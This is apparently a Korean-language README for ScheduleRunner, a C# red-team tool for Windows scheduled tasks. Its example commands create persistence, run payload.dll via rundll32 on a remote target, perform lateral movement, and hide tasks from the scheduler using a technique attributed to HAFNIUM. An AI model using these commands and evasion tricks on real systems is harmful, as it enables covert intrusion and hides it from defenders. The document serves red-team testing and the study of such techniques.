
레드 팀 운영에서 지속성과 측면 이동을 위해 예약된 작업을 더 유연하게 사용자 지정할 수 있는 C# 도구
예약 작업은 지난 10년 동안 가장 인기 있는 공격 기술 중 하나였으며, 현재도 해커/레드 팀원들이 지속성 및 측면 이동을 위해 일반적으로 사용하고 있습니다.
이미 여러 C# 도구가 예약 작업을 사용한 공격을 시뮬레이션하기 위해 개발되었습니다. 저는 그중 일부를 사용해 보았지만 각각 예약 작업 사용자 정의에 한계가 있었습니다. 따라서 이 프로젝트는 제가 필요로 하는 기능을 포함하고 예약 작업 사용자 정의에 충분한 유연성을 제공하는 C# 도구(CobaltStrike execute-assembly 호환)를 제공하는 것을 목표로 합니다.

| 메서드 | 기능 |
|---|---|
| create | 새 예약 작업 생성 |
| delete | 기존 예약 작업 삭제 |
| run | 기존 예약 작업 실행 |
| query | 예약 작업 또는 폴더 아래 모든 예약 작업에 대한 세부 정보 쿼리 |
| queryfolders | 예약 작업의 모든 하위 폴더 쿼리 |
| move | 예약 작업을 사용한 측면 이동 수행 (자동 생성, 실행 및 삭제) |
[*]은(는) 필수 필드입니다.
| 메서드 | 기능 |
|---|---|
| [*] /taskname | 예약 작업의 이름 지정 |
| /folder | 예약 작업이 저장되는 폴더 지정 (기본값: \) |
[*]은(는) 필수 필드입니다.
| 메서드 | 기능 |
|---|---|
| [*] /taskname | 예약 작업의 이름 지정 |
| /folder | 예약 작업이 저장되는 폴더 지정 (기본값: \) |
| /remoteserver | 원격 컴퓨터의 호스트 이름 또는 IP 주소 지정 |
[*]은(는) 필수 필드입니다.
| 메서드 | 기능 |
|---|---|
| /taskname | 예약 작업의 이름 지정 |
| /folder | 예약 작업이 저장되는 폴더 지정 (기본값: \) |
| /remoteserver | 원격 컴퓨터의 호스트 이름 또는 IP 주소 지정 |
[*]은(는) 필수 필드입니다.
[*]은(는) 필수 필드입니다.
"Cleanup"이라는 예약 작업을 생성하여 매일 오후 11:30에 실행합니다.
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
원격 서버에서 4시간마다 실행되는 "Cleanup"이라는 예약 작업을 생성합니다.
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01
"Cleanup"이라는 예약 작업을 삭제합니다.
ScheduleRunner.exe /method:delete /taskname:Cleanup
"Cleanup"이라는 예약 작업을 실행합니다.
ScheduleRunner.exe /method:run /taskname:Cleanup
원격 서버의 "\Microsoft\Windows\CertificateServicesClient" 폴더 아래에 있는 "Cleanup"이라는 예약 작업의 세부 정보를 쿼리합니다.
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
원격 서버의 특정 폴더 "\Microsoft\Windows\CertificateServicesClient" 아래에 있는 모든 예약 작업을 쿼리합니다.
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
예약 작업의 모든 하위 폴더를 쿼리합니다.
ScheduleRunner.exe /method:queryfolders
특정 사용자 계정을 사용하여 원격 서버로 예약 작업을 통한 측면 이동을 수행합니다.
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
예약 작업 숨기기 기술을 사용하여 "Cleanup"이라는 예약 작업을 생성합니다:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
예약 작업 숨기기 기술을 사용한 "Cleanup"이라는 예약 작업을 삭제합니다:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
이 기술은 위협 행위자 HAFNIUM이 사용했으며 최근 Microsoft에 의해 발견되었습니다. 이 기술은 예약 작업을 도구로 쿼리할 수 없고 작업 스케줄러에서 볼 수 없도록 만드는 것을 목표로 합니다.
이 기술을 사용하려면 "NT AUTHORITY/SYSTEM" 권한이 필요하며, ScheduleRunner가 다음을 수행합니다:
이 기술을 사용하여 생성된 예약 작업을 제거하려면 삭제 메서드에 "/technique:hide"를 추가하여 올바르게 제거해야 합니다.
작업이 레지스트리를 통해 삭제되어도 다음 시스템 재부팅까지 계속 실행됩니다. 따라서 운영 중인 서버에서는 이 기술을 사용하지 않는 것이 좋습니다.

| 라이브러리 | 링크 |
|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler |
| 메서드 | 기능 |
|---|
| [*] /taskname | 예약 작업의 이름 지정 |
| [*] /program | 작업이 실행할 프로그램 지정 |
| [*] /trigger | 일정 유형 지정. 유효한 값: "minute", "hourly", "daily", "weekly", "onstart", "onlogon", "onidle" |
| /modifier | 일정 유형 내에서 작업이 실행되는 빈도 지정. "minute"(예: 1-1439분), "hourly"(예: 1-23시간), "weekly"(예: mon,sat,sun) 일정 유형에만 적용 가능 |
| /starttime | 일별 일정 유형의 시작 시간 지정 (예: 23:30) |
| /argument | 프로그램의 명령줄 인수 지정 |
| /folder | 예약 작업이 저장되는 폴더 지정 (기본값: \) |
| /workingdir | 예약 작업이 실행될 작업 디렉터리 지정 |
| /author | 예약 작업의 작성자 지정 |
| /description | 예약 작업에 대한 설명 지정 |
| /remoteserver | 원격 컴퓨터의 호스트 이름 또는 IP 주소 지정 |
| /user | 지정된 사용자 계정으로 작업 실행 |
| /technique | 회피 기술 지정: - "hide": HAFNIUM 악성코드에서 사용된 기술로, 작업 쿼리에서 예약 작업을 숨깁니다 [!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ [!] 이 기술은 원격 레지스트리 권한으로 인해 원격 실행을 지원하지 않습니다. "NT AUTHORITY\SYSTEM"이 필요하며, 작업 삭제 후에도 시스템 재부팅까지 작업이 계속 실행됩니다. |
| /remoteserver | 원격 컴퓨터의 호스트 이름 또는 IP 주소 지정 |
| /technique | 회피 기술을 사용하여 예약 작업이 생성된 경우 지정: - "hide": "예약 작업 숨기기" 기술을 사용하여 생성된 예약 작업 삭제 [!] 삭제에는 "NT AUTHORITY\SYSTEM"이 필요하며, 작업 삭제 후에도 시스템 재부팅까지 작업이 계속 실행됩니다. |
| 메서드 | 기능 |
|---|
| [*] /taskname | 예약 작업의 이름 지정 |
| [*] /program | 작업이 실행할 프로그램 지정 |
| [*] /remoteserver | 원격 컴퓨터의 호스트 이름 또는 IP 주소 지정 |
| /trigger | 일정 유형 지정. 유효한 값: "minute", "hourly", "daily", "weekly", "onstart", "onlogon", "onidle" |
| /modifier | 일정 유형 내에서 작업이 실행되는 빈도 지정. "minute"(예: 1-1439분), "hourly"(예: 1-23시간), "weekly"(예: mon,sat,sun) 일정 유형에만 적용 가능 |
| /starttime | 일별 일정 유형의 시작 시간 지정 (예: 23:30) |
| /argument | 프로그램의 명령줄 인수 지정 |
| /folder | 예약 작업이 저장되는 폴더 지정 (기본값: \) |
| /workingdir | 예약 작업이 실행될 작업 디렉터리 지정 |
| /author | 예약 작업의 작성자 지정 |
| /description | 예약 작업에 대한 설명 지정 |
| /user | 지정된 사용자 계정으로 작업 실행 |